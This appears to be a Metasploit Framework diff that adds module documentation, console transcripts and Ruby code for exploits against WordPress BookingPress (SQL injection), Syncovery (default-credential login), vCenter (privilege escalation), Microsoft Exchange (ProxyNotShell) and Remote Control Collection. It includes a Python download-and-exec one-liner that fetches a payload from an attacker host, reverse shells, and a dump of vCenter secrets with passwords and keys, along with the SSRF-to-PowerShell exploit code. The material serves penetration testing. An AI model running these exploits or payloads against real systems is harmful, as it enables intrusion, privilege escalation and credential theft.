msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > show options
Module options (auxiliary/gather/wp_bookingpress_category_services_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /?page_id=10 yes The URL of the BookingPress appointment booking page
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > check
[+] 127.0.0.1:8000 - The target is vulnerable.
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > exploit
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Extracting credential information
Wordpress User Credentials
==========================
Username Email Hash
-------- ----- ----
normal normal@test.com $P$Bu9/XNK93oyUTKO.zJ9yGZfYAcbZg9.
testAdmin test@testfakeness.com $P$BYWtZOfh8yqLCKA877hwBysqGdRtk/.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) >
```
@@ -0,0 +1,81 @@
## Vulnerable Application
[Syncovery For Linux with Web-GUI](https://www.syncovery.com/download/linux/)
This module attempts to brute-force valid login credentials for the Syncovery File Sync & Backup Software Web-GUI for Linux.
The default credentials are checked by default.
### Authors
- Jan Rude (mgm security partners GmbH)
### Platforms
- Unix
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use modules/auxiliary/scanner/http/syncovery_linux_login`
4. Do: `set RHOSTS <TARGET HOSTS>`
5. Do: `run`
6. On success you should get valid credentials.
## Options
### USERNAME
Username used for login. Default is "default".
### PASSWORD
Password used for login. Default is "pass".
### TARGETURI
The path to Syncovery login.
### PORT
The (TCP) target port on which Syncovery is running. By default port 8999 is used for HTTP and port 8943 is used for HTTPS.
## Scenarios
### Syncovery for Linux with default credentials
```
msf6 > use modules/auxiliary/scanner/http/syncovery_linux_login
msf6 auxiliary(scanner/http/syncovery_linux_login) > set rhosts 192.168.178.26
rhosts => 192.168.178.26
msf6 auxiliary(scanner/http/syncovery_linux_login) > options
Module options (auxiliary/scanner/http/syncovery_linux_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD pass no The password to Syncovery (default: pass)
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.178.26 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8999 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
TARGETURI / no The path to Syncovery
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME default yes The username to Syncovery (default: default)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
msf6 auxiliary(scanner/http/syncovery_linux_login) > run
[+] 192.168.178.26:8999 - Syncovery File Sync & Backup Software confirmed
[+] 192.168.178.26:8999 - Identified version: 9.48a
[+] 192.168.178.26:8999 - Success: 'default:pass'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,112 @@
## Vulnerable Application
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
`/usr/lib/vmware-vmon/java-wrapper-vmon` file. It is possible for anyone in the
`cis` group to write to the file, which will execute as root on `vmware-vmon` service
restart or host reboot.
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
The following versions should be vulnerable:
- vCenter 7.0 before U2c
- vCenter 6.7 before U3o
- vCenter 6.5 before U3q
## Verification Steps
1. Start msfconsole
2. Obtain a shell on vCenter for a user in the `cis` group.
3. Do: `use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc`
4. Do: `set session #`
5. Do: `run`
6. Restart the host, or the service (`systemctl restart vmware-vmon.service`) with a user who has permission
7. You should get a root shell.
## Options
## Scenarios
### VMware VirtualCenter 6.5.0 build-7070488
Get initial shell (any vic group member will do, here we use vsphere-client)
```
[*] Processing java_wrapper.rb for ERB directives.
resource (java_wrapper.rb)> use multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (java_wrapper.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (java_wrapper.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Using URL: http://2.2.2.2:8080/cFK3ylrNE9s
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://2.2.2.2:8080/cFK3ylrNE9s', context=ssl._create_unverified_context());exec(r.read());"
msf6 exploit(multi/script/web_delivery) >
[*] 1.1.1.1 web_delivery - Delivering Payload (432 bytes)
[*] Sending stage (24380 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:59084) at 2022-11-20 10:45:06 -0500
msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: vsphere-client
meterpreter > sysinfo
Computer : localhost.ragedomain
OS : Linux 4.4.8 #1-photon SMP Fri Oct 21 20:13:51 UTC 2016
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > shell
Process 6710 created.
Channel 1 created.
vpxd -v
/usr/sbin/vpxd: line 34: ulimit: open files: cannot modify limit: Operation not permitted
sed: couldn't open temporary file /etc/vmware-vpx/sedXf9kV4: Permission denied
VMware VirtualCenter 6.5.0 build-7070488
^Z
Background channel 1? [y/N] y
meterpreter > background
[*] Backgrounding session 1...
```
Conduct the priv esc
```
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > jobs -K
Stopping all jobs...
[*] Server stopped.
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: python
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /usr/lib/vmware-vmon/java-wrapper-vmon is writable and owned by cis group
[+] Original /usr/lib/vmware-vmon/java-wrapper-vmon backed up to /root/.msf4/loot/20221120104723_default_1.1.1.1_javawrappervmo_605726.txt
[*] Writing payload to /tmp/.BCOL6n
[*] Writing '/tmp/.BCOL6n' (250 bytes) ...
[*] Writing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon
[*] Attempting to restart vmware-vmon service
[-] vmware-vmon service needs to be restarted, or host rebooted to obtain shell.
[*] Waiting 1800 seconds for shell
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 1.1.1.1
[+] Deleted /tmp/.BCOL6n
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:32906) at 2022-11-20 10:47:52 -0500
[*] Replacing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon with original
meterpreter > getuid
Server username: root
meterpreter >
```
@@ -1,10 +1,18 @@
## Vulnerable Application
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
The following versions of Zimbra are vulnerable:
* Zimbra Collaboration Suite 9.0.0 Patch 26 and earlier
* Zimbra Collaboration Suite 8.8.15 Patch 33 and earlier
## Verification Steps
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
Install Zimbra on any supported Linux version and get a session as the `zimbra`
user. The easiest way to exploit zimbra is to `rm $(which pax)`, reboot, and
use CVE-2022-41352. Or generate a Meterpreter payload with `msfvenom` and run
it.
From there:
```
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
@@ -0,0 +1,66 @@
## Vulnerable Application
This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker
to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to
obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019.
By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
This vulnerability affects:
* Exchange 2013 CU23 < 15.0.1497.44
* Exchange 2016 CU22 < 15.1.2375.37
* Exchange 2016 CU23 < 15.1.2507.16
* Exchange 2019 CU11 < 15.2.986.36
* Exchange 2019 CU12 < 15.2.1118.20
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 8, 2022 (KB5019758)][1]*
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/http/exchange_proxynotshell_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set USERNAME [USERNAME]`
5. Do: `set PASSWORD [PASSWORD]`
6. Do: `run`
## Advanced Options
### EemsBypass
Technique to bypass the EEMS rule.
**none** -- Make no attempt to bypass the EEMS rule. This can be used with the `check` method to determine if the EEMS
M1 rule is applied.
**IBM037v1** -- Use IBM037 encoding combined with the `X-Up-Devcap-Post-Charset` header and `UP` User-Agent prefix. See
[ProxyNotRelay][2] for more information.
### MaxBackendRetries
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
## Scenarios
### Version and OS
```
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11
RHOSTS => 192.168.159.11
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle
USERNAME => aliddle
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 exploit(windows/http/exchange_proxynotshell_rce) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (175686 bytes) to 192.168.159.11
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:7290) at 2022-11-18 17:32:18 -0500
meterpreter >
```
[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d
[2]: https://rw.md/2022/11/09/ProxyNotRelay.html
@@ -10,9 +10,9 @@ This vulnerability affects:
* Exchange 2013 CU23 < 15.0.1497.15
* Exchange 2016 CU19 < 15.1.2176.12
* Exchange 2016 CU20 < 15.1.2242.5
* Exchange 2016 CU20 < 15.1.2242.8
* Exchange 2019 CU8 < 15.2.792.13
* Exchange 2019 CU9 < 15.2.858.9
* Exchange 2019 CU9 < 15.2.858.10
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
@@ -87,6 +87,11 @@ The path where you want to write the backdoor. Default: `aspnet_client`
This is MAPI client version sent in the request.
### MaxBackendRetries
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
## Scenarios
### Exchange 2016 CU 19 on Server 2016
@@ -0,0 +1,106 @@
## Vulnerable Application
This module utilizes the Remote Control Server's, part
of the Remote Control Collection by Steppschuh, protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 3.1.1.12, current at the time of module writing
Version 3.1.1.12 can be downloaded from http://remote-control-collection.com/
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/remote_control_collection_rce`
4. Set `rhost` and `lhost` as required.
5. Do: `run`
6. You should get a shell as the user who is running Remote Mouse.
## Options
### PATH
The location to write the payload to
Defaults to `%temp%\\` aka `c:\\Windows\\Temp\\` on most systems.
### SLEEP
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
Defaults to `1`.
## Scenarios
### Remote Control Server 3.1.1.12 on Windows 10
```
resource (remote_mouse.rb)> use exploits/windows/misc/remote_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (remote_mouse.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (remote_mouse.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (remote_mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/remote_mouse_rce) > run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:1978 - Running automatic check ("set AutoCheck false" to disable)
[+] 1.1.1.1:1978 - The target appears to be vulnerable. Received handshake with version: 411
[*] 1.1.1.1:1978 - Connecting
[*] 1.1.1.1:1978 - Sending Windows key
[*] 1.1.1.1:1978 - Opening command prompt
[*] 1.1.1.1:1978 - Sending stager
[*] 1.1.1.1:1978 - Using URL: http://2.2.2.2:8080/
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
[*] 1.1.1.1:1978 - Executing payload
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 1.1.1.1
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:49962) at 2022-09-27 16:33:02 -0400
[*] 1.1.1.1:1978 - Server stopped.
[!] 1.1.1.1:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\NADYvmtxr.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>whoami
whoami
win10prolicense\windows
C:\Users\windows>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
### Remote Control Server 3.1.1.12 on Windows 10, with a password
Expected to fail.
```
resource (remote_control_collection.rb)> use exploits/windows/misc/remote_control_collection_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (remote_control_collection.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (remote_control_collection.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (remote_control_collection.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/remote_control_collection_rce) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Connecting and Sending Windows key
[*] Opening command prompt
[*] Sending stager
[*] Using URL: http://2.2.2.2:8080/
[*] Executing payload
[*] Server stopped.
[!] This exploit may require manual cleanup of 'c:\Windows\Temp\OqsTi76PX80it.exe' on the target
[*] Exploit completed, but no session was created
```
@@ -274,3 +274,79 @@ msf6 post(linux/gather/vcenter_secrets_dump) > dump
[+] AD User: sam@cesium137.io
[+] AD Pass: Gr33n3gg$!
[*] Post module execution completed
```
Example run from meterpreter session on vCenter appliance version 6.7 build-18831049
```
msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump
msf6 post(linux/gather/vcenter_secrets_dump) > set session 1
session => 1
msf6 post(linux/gather/vcenter_secrets_dump) > run
[*] VMware VirtualCenter 6.7.0 build-18831049
[*] vCenter Appliance (Embedded)
[*] Validating target
[*] Appliance IPv4: 2.2.2.2
[*] Appliance Hostname: photon-machine.ragedomain
[*] Appliance OS: VMware Photon Linux 1.0-62c543d
[*] Gathering vSphere SSO domain information
[+] vSphere SSO DC DN: cn=photon-machine.ragedomain,ou=Domain Controllers,dc=vsphere,dc=local
[+] vSphere SSO DC PW: )sM8M]h,YZBQ:kY['h^(
[*] Extracting tenant and vpx AES encryption key...
[+] vSphere Tenant AES encryption
[+] KEY: ]E6"Jg7V}d{!Q:Lh
[+] HEX: 5d4536224a6737567d647b21513a4c68
[+] vSphere vmware-vpx AES encryption
[+] HEX: ac20416a5850df52f1bf889440995871ba52984a893dbe44fd71c5c768aea3be
[*] Extracting PostgreSQL database credentials
[+] VCDB Name: VCDB
[+] VCDB User: vc
[+] VCDB Pass: MB&|<)haN6Q>{K3O
[*] Checking for VPX Users
[-] No VPXUSER entries were found
[*] Extract ESXi host vpxuser credentials
[!] No ESXi hosts attached to this vCenter system
[*] Extracting vSphere SSO domain secrets
[*] Dumping vmdir schema to LDIF and storing to loot...
[!] Unable to retrieve ldif contents
WARNING: there is already a transaction in progress
[-] Error processing LDIF file
[*] Extracting certificates from vSphere platform
[+] VMCA_ROOT key: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_523828.key
[+] VMCA_ROOT cert: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_694934.pem
[+] SSO_STS_IDP key: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_031902.key
[+] SSO_STS_IDP cert: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_256763.pem
[+] MACHINE_SSL_CERT Key: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_448485.key
[+] MACHINE_SSL_CERT Cert: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_793765.pem
[+] MACHINE Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_336860.key
[+] MACHINE Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_588424.pem
[+] VSPHERE-WEBCLIENT Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_567378.key
[+] VSPHERE-WEBCLIENT Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_997605.pem
[+] VPXD Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_521342.key
[+] VPXD Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_415704.pem
[+] VPXD-EXTENSION Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_152066.key
[+] VPXD-EXTENSION Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_359784.pem
[+] DATA-ENCIPHERMENT Key: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_517854.key
[+] DATA-ENCIPHERMENT Cert: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_408460.pem
[+] SMS Key: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_777691.key
[+] SMS Cert: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_215695.pem
[*] Searching for secrets in VM Guest Customization Specification XML
[!] No vpx_customization_spec entries evident
[*] Retrieving .pgpass file
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for localhost:replication
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for 127.0.0.1:replication
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for /var/run/vpostgres:replication
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:postgres
[+] posgres database creds found: postgres, md5fdb13b980a01e3d1ae99b5b55b6e4303
[+] posgres database creds found: replicator, md5c2a01981014a380b63c0c7c66ad77ba9
[+] posgres database creds found: vc, md53b5a9fc0dd6c99567e9ca27c459b43d9
[+] posgres database creds found: vumuser, md5fc719b1b56f02981027379fd15125feb
[+] posgres database creds found: cns, md5d92e4534c059354dee12a7cc9a79faff
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:postgres
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:VCDB
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:VCDB
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:VCDB
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:postgres
[+] Saving the /root/.pgpass contents to /root/.msf4/loot/20221102165131_default_2.2.2.2_.pgpass_509065.txt
[*] Post module execution completed
```
@@ -0,0 +1,59 @@
## Vulnerable Application
This module pulls a user's proxy settings. If neither RHOST or SID
are set it pulls the current user, else it will pull the user's settings
for the specified SID and target host.
## Verification Steps
1. Start msfconsole
1. Get a session on a Windows host
1. Do: `use post/windows/gather/enum_proxy`
1. Do: `set session <session id>`
1. Do: `run`
1. You should receive system proxy information
## Options
### RHOST
Remote host to clone settings to (defaults to local)
### SID
SID of user to clone settings to (SYSTEM is S-1-5-18) (default: blank)
## Scenarios
### Windows Server 2016 (x86_64)
```
msf6 > use post/windows/gather/enum_proxy
msf6 post(windows/gather/enum_proxy) > set session 1
session => 1
msf6 post(windows/gather/enum_proxy) > run
[*] Proxy Counter = 3
[*] Setting: WPAD and Proxy server
[*] Proxy Server: http=127.0.0.1:80;https=127.0.0.1:80;ftp=127.0.0.1:80
[*] Post module execution completed
```
### Windows 7 SP1 (x86_64)
```
msf6 > use post/windows/gather/enum_proxy
msf6 post(windows/gather/enum_proxy) > set session 1
session => 1
msf6 post(windows/gather/enum_proxy) > run
[*] Proxy Counter = 77
[*] Setting: WPAD, Proxy server and AutoConfigure script
[*] Proxy Server: http=127.0.0.1:8080;https=127.0.0.1:8080;ftp=127.0.0.1:8080
[*] AutoConfigURL: http://corp.local/wpad.dat
[*] Post module execution completed
msf6 post(windows/gather/enum_proxy) >
```
@@ -13,7 +13,7 @@ class ManagedRemoteDataService
include Singleton
#
# Returns true if the the managed data service process is running.
# Returns true if the managed data service process is running.
#
def running?
return @running
@@ -0,0 +1,125 @@
require 'metasploit/framework/login_scanner/http'
require 'json'
module Metasploit
module Framework
module LoginScanner
class SyncoveryFileSyncBackup < HTTP
DEFAULT_PORT = 8999 # HTTP=8999; HTTPS=8943
PRIVATE_TYPES = [ :password ].freeze
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is Syncovery File Sync & Backup Software. The login module should call this.
#
# @return [Boolean] TrueClass if target is Syncovery, otherwise FalseClass
def check_setup
login_uri = normalize_uri("#{uri}/")
res = send_request({ 'uri' => login_uri })
if res && res.code == 200 && res.body.include?('Syncovery')
return true
end
false
end
# Gets the Syncovery version.
#
# @return [String] version if version was found, otherwise FalseClass
def get_version
globals = normalize_uri("#{uri}/get_global_variables")
res = send_request({ 'uri' => globals })
if res && res.code == 200
json_res = res.get_json_document
version = json_res['SyncoveryTitle']&.scan(/Syncovery\s([A-Za-z0-9.]+)/)&.flatten&.first || ''
return version
end
false
end
# Actually doing the login. Called by #attempt_login
#
# @param username [String] The username to try
# @param password [String] The password or token to try
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body or the session token
def get_login_state(username, password)
# Prep the data needed for login
if username.empty?
# no username => token is used as password
res = send_request({
'uri' => normalize_uri("#{uri}/profiles.json"),
'vars_get' => {
'recordstartindex' => '0',
'recordendindex' => '0'
},
'method' => 'GET',
'headers' => {
'token' => password
}
})
unless res
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: res.to_s }
end
if !res.body.to_s.include? 'Session Expired'
return { status: LOGIN_STATUS::SUCCESSFUL, proof: res.body.to_s }
end
return { proof: res.body.to_s }
else
# use username:password
res = send_request({
'uri' => normalize_uri("#{uri}/post_applogin.php"),
'vars_get' => {
'login' => username.to_s,
'password' => password.to_s
},
'method' => 'GET'
})
unless res
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT }
end
# After login, the application should give us a new token
# session_token is actually just base64(MM/dd/yyyy HH:mm:ss) at the time of the login
json_res = res.get_json_document
token = json_res['session_token']
if token.present?
return { status: LOGIN_STATUS::SUCCESSFUL, proof: token.to_s }
end
return { proof: res.to_s }
end
end
# Attempts to login to Syncovery File Sync & Backup Software. This is called first.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.28"
VERSION = "6.2.30"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,207 @@
# -*- coding: binary -*-
require 'winrm'
module Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super
register_advanced_options(
[
Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),
], self.class
)
end
def execute_powershell(cmdlet, args: [], cat: nil)
winrm = SSRFWinRMConnection.new({
endpoint: full_uri('PowerShell/'),
transport: :ssrf,
max_backend_retries: datastore['MaxBackendRetries'].to_i,
ssrf_proc: proc do |method, uri, opts|
uri = "#{uri}?X-Rps-CAT=#{cat}" if cat
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
)
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
)
res = send_http(method, uri, opts)
raise WinRM::WinRMAuthorizationError.new('Server responded with 401 Unauthorized.') if res&.code == 401
res
end
})
successful = true
begin
winrm.shell(:powershell) do |shell|
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
shell.extend(SSRFWinRMConnection::PowerShell)
shell.run({ cmdlet: cmdlet, args: args }) do |stdout, stderr|
unless stdout.blank?
vprint_line('PSRP output received:')
vprint_line(stdout)
end
unless stderr.blank?
successful = false
vprint_error('PSRP error received:')
vprint_line(stderr)
end
end
end
rescue WinRM::WinRMAuthorizationError => e
fail_with(Msf::Exploit::Failure::NoAccess, e.message)
rescue WinRM::WinRMError => e
vprint_error("Exception: #{e.message}")
successful = false
rescue Msf::Exploit::Failed => e
raise e
rescue RuntimeError => e
print_error("Exception: #{e.inspect}")
successful = false
end
successful
end
def send_http(method, uri, opts = {})
request = {
'method' => method,
'uri' => uri,
'agent' => datastore['UserAgent'],
'ctype' => opts[:ctype],
'cookie' => opts[:cookie],
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
}
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
request = request.merge(opts[:authentication]) unless opts[:authentication].nil?
begin
received = send_request_cgi(request)
rescue Errno::ECONNRESET => e
fail_with(Msf::Exploit::Failure::Disconnected, 'Server reset the connection.')
end
fail_with(Msf::Exploit::Failure::TimeoutExpired, 'Server did not respond in an expected way.') unless received
received
end
class XMLTemplate
def self.render(template_name, context = nil)
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxymaybeshell', "#{template_name}.xml.erb")
template = ::File.binread(file_path)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
class SSRFWinRMConnection < WinRM::Connection
class MessageFactory < WinRM::PSRP::MessageFactory
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
WinRM::PSRP::Message.new(
runspace_pool_id,
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
pipeline_id
)
end
end
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
# vulnerability
class TransportFactory < WinRM::HTTP::TransportFactory
class HttpSsrf < WinRM::HTTP::HttpTransport
# rubocop:disable Lint/
def initialize(endpoint, options)
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
@ssrf_proc = options[:ssrf_proc]
# this tracks the backend target, the PSRP session needs to communicate with one target
# this would be the case if Exchange Data Access Group (DAG) is in use
@backend = nil
@max_backend_attempts = [options.fetch(:max_backend_retries, 10) + 1, 1].max
end
def send_request(message)
resp = nil
@max_backend_attempts.times do
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
if resp.code == 500 && resp.headers['X-CalculatedBETarget'] != @backend
# retry the request if it failed and the backend was different than the target
next
end
break
end
if resp&.code == 200 && @backend.nil?
@backend = resp.headers['X-CalculatedBETarget']
end
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
end
